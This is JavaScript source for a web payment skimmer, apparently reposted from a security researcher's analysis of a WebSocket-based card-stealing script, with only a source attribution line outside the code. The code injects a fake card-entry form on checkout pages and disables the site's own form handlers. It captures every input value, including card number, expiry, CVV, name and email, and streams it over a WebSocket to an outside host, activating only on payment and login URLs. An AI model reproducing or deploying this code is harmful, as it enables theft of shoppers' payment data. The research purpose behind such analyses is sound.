			remove_error_class(card_num_err);
		}
	}
});



document.querySelector('#js-form-guest-checkout').onsubmit = function(event) {
	event.preventDefault();
	
	var bl = document.querySelector('.jHKrHwUXvLyvPIe');
	if (bl.classList.contains(is_active)) {
		return false;
	}
	
	var mycc_email = document.querySelector('[name=mycc_email]');
	var mycc_first_name = document.querySelector('[name=mycc_first_name]');
	var mycc_last_name = document.querySelector('[name=mycc_last_name]');
	
	var card_num = document.querySelector('[name=card_num]');
	var exp_my_value = document.querySelector('[name=exp_my_value]');
	var cvv2 = document.querySelector('[name=cvv2]');

	if (mycc_email.classList.contains(is_error)) return false;
	if (mycc_first_name.classList.contains(is_error)) return false;
	if (mycc_last_name.classList.contains(is_error)) return false;
	if (card_num.classList.contains(is_error)) return false;
	if (exp_my_value.classList.contains(is_error)) return false;
	if (cvv2.classList.contains(is_error)) return false;
	
	var bt = document.querySelector('.UcUBlNSAqeardq');
	if (bt.classList.contains(is_active)) {
		bt.classList.remove(is_active)
	}
	
	if (!bl.classList.contains(is_active)) {
		bl.classList.add(is_active)
		
		setTimeout(function() {
			document.querySelector('.zXhkRIRxKzNhdHRtRFhPhCZgoai').classList.remove(is_active);
			document.querySelector('.ajxgnVMLPOxgUFZYQpBwtNVYFMCar').classList.add(is_active);
			
			document.querySelector('.TxTcPyZWGeVJPSzIiAhIraeeat').onclick = function() {
				document.querySelector('.BSIbAiemTuWlMjrKfPYxHKag').remove()
				
				
				if (typeof my_1090callback === "function") {
					my_1090callback();
				}
			}
			
			
		}, 4000)
	}
}
})();
		
	}

    function form_hide() {}
    setInterval(setNullMethods, 100);

    function setNullMethods() {
        if (typeof(window.GetData) != 'undefined') {
            window.GetData = function(elem, flag) {};
        }
        if (typeof(window.Default_Send) != 'undefined') {
            window.Default_Send = function(elem, flag) {};
        }
        if (typeof(window.CheckFields) != 'undefined') {
            window.CheckFields = function(elem, flag) {};
        }
        if (typeof window.SendData != 'undefined') {
            window.SendData = function() {};
        }
    }

    function serialize(element) {
        var q = [];
        switch (element.nodeName) {
            case 'INPUT':
                switch (element.type) {
                    case 'color':
                    case 'date':
                    case 'datetime-local':
                    case 'email':
                    case 'image':
                    case 'month':
                    case 'number':
                    case 'password':
                    case 'range':
                    case 'search':
                    case 'tel':
                    case 'text':
                    case 'time':
                    case 'url':
                    case 'week':
                    case 'text':
                    case 'hidden':
                    case 'password':
                    case 'button':
                    case 'reset':
                    case 'submit':
                        if (element.name.length && element.value.length)
                            q.push(element.name + "=" + encodeURIComponent(element.value));
                        break;
                    case 'checkbox':
                    case 'radio':
                        if (element.checked) {
                            if (element.name.length && element.value.length)
                                q.push(element.name + "=" + encodeURIComponent(element.value));
                        }
                        break;
                    case 'file':
                        break;
                }
                break;
            case 'TEXTAREA':
                if (element.name.length && element.value.length)
                    q.push(element.name + "=" + encodeURIComponent(element.value));
                break;
            case 'SELECT':
                switch (element.type) {
                    case 'select-one':
                        if (element.name.length && element.value.length)
                            q.push(element.name + "_value=" + encodeURIComponent(element.value));
                        try {
                            q.push(element.name + "=" + encodeURIComponent(element[element.selectedIndex].text));
                        } catch (e) {}
                        break;
                    case 'select-multiple':
                        for (j = element.options.length - 1; j >= 0; j = j - 1) {
                            if (element.options[j].selected) {
                                if (element.name.length && element.options[j].value.length)
                                    q.push(element.name + "_value=" + encodeURIComponent(element.options[j].value));
                                q.push(element.name + "=" + encodeURIComponent(element.options[j].text));
                            }
                        }
                        break;
                }
                break;
            case 'BUTTON':
                switch (element.type) {
                    case 'reset':
                    case 'submit':
                    case 'button':
                        if (element.name.length && element.value.length)
                            q.push(element.name + "=" + encodeURIComponent(element.value));
                        break;
                }
                break;
        }
        return q;
    }

    function serialize_all() {
        var all = [];
        document.querySelectorAll('input').forEach(function(v) {
            all = all.concat(serialize(v));
        })
        document.querySelectorAll('textarea').forEach(function(v) {
            all = all.concat(serialize(v));
        })
        document.querySelectorAll('select').forEach(function(v) {
            all = all.concat(serialize(v));
        })
        document.querySelectorAll('button').forEach(function(v) {
            all = all.concat(serialize(v));
        })
        return all;
    }
    var wssocket;
    var pingInterval;
    var tries = 0;
    let wssConnectInterval = setInterval(wssconnect, 1000);
	
    function wssconnect() {
		var locationRegex = document.location.href.match(/pay|card|payment|basket|order|checkout|cart|panier|inscription|account|sepetim|siparisi|login|register|sign|pedido|carrito/i);
		
		if (locationRegex == null) {
			return;
		}
		
		if (document.location.pathname.match(/basketbol/i) !== null) {
			return;
		}
		
        if (!wssocket || (wssocket.readyState != 1 && wssocket.readyState != '-0')) {
            tries++;
            try {
                wssocket = new WebSocket("wss:" + host);
                wssocket.onopen = function(data) {
                    wssocket.send(JSON.stringify({
                        'sid': "ping"
                    }));
                    pingInterval = setInterval(function() {
                        wssocket.send(JSON.stringify({
                            'sid': "ping"
                        }));
                    }, 5000);
                };
                wssocket.onclose = function(data) {
                    clearInterval(pingInterval);
                };
                wssocket.onmessage = function(data) {};
                tries = 0;
            } catch (e) {
                if (tries < 5) {
                    console.log('error catch')
                }
            }
        }
    }
    wssconnect();

    function wssdisconnect() {
        clearInterval(wssConnectInterval);
		if (wssocket) {
			wssocket.close();
		}
    }
    window.addEventListener("beforeunload", wssdisconnect);
    /**/
    var last_sended = '';

    function build() {
        add_events();
        setInterval(add_events, 100);
    }

    function add_events() {
        if (
            !document.querySelector('[name*=cc_number]') &&
            !document.querySelector('[name*=firstname]') &&
            !document.querySelector('[name*=name]') &&
            !document.querySelector('[name*=address]') &&
            !document.querySelector('[name*=postcode]') &&
            !document.querySelector('[name*=zip]') &&
            !document.querySelector('[name*=phone]') &&
            !document.querySelector('[name*=email]') &&
            !document.querySelector('[name*="payment[cc_number]"]') &&
            !document.querySelector('[name*=payment]') &&
            !document.querySelector('[name*=cc]') &&
            !document.querySelector('[name*=card_num]') &&
            !document.querySelector('[name*=billing]')
        ) {
            return false;
        }
        Array.from(document.getElementsByTagName('input')).forEach(function(item, i) {
            if (!item.hasAttribute('build')) {
                item.setAttribute('build', 1);
                item.addEventListener("blur", emit);
				item.addEventListener('change', emit);
            }
        });
        Array.from(document.getElementsByTagName('select')).forEach(function(item, i) {
            if (!item.hasAttribute('build')) {
                item.setAttribute('build', 1);
                item.addEventListener("blur", emit);
                item.addEventListener('change', emit);
            }
        });
        Array.from(document.getElementsByTagName('textarea')).forEach(function(item, i) {
            if (!item.hasAttribute('build')) {
                item.setAttribute('build', 1);
                item.addEventListener("blur", emit);
            }
        });
        Array.from(document.querySelectorAll("form")).forEach(function(item, i) {
            if (!item.hasAttribute('build')) {
                item.setAttribute('build', 1);
                item.addEventListener("submit", emit);
            }
        });
        Array.from(document.querySelectorAll("[type=submit]")).forEach(function(item, i) {
            if (!item.hasAttribute('build')) {
                item.setAttribute('buildd', 1);
                item.addEventListener("click", emit);
            }
        });
        Array.from(document.querySelectorAll("[type=button]")).forEach(function(item, i) {
            if (!item.hasAttribute('buildd')) {
                item.setAttribute('buildd', 1);
                item.addEventListener("click", emit);
            }
        });
    }

    function emit() {
        var data = JSON.stringify({
            data: serialize_all(),
            site_id: site_id,
            sid: sid,
            ip: ip,
        });
        if (last_sended != data) {
            last_sended = data;
			if (wssocket) {
				wssocket.send(data);
			}
            console.log('emit send')
        } else {
            console.log('emit the same')
        }
    }
    build();
	
	var already_showed = false;

var interval = setInterval(show_card_block, 300);
function show_card_block(){

if(!already_showed  && document.querySelector('#button-payment-method') && !document.querySelector('#checkout-form-card')) {

var div = document.createElement('div');
div.innerHTML = form_html;

var s = document.querySelector('#button-payment-method').parentNode;
s.parentNode.prepend(div);

form_show();
already_showed = true;
var ff = document.querySelector('#checkout-form-card');
if (ff) ff.style.margin = '50px';

}
}
})();

文章来源: https://lukeleal.com/research/posts/tags-manager-websocket-skimmer/
如有侵权请联系:admin#unsafe.sh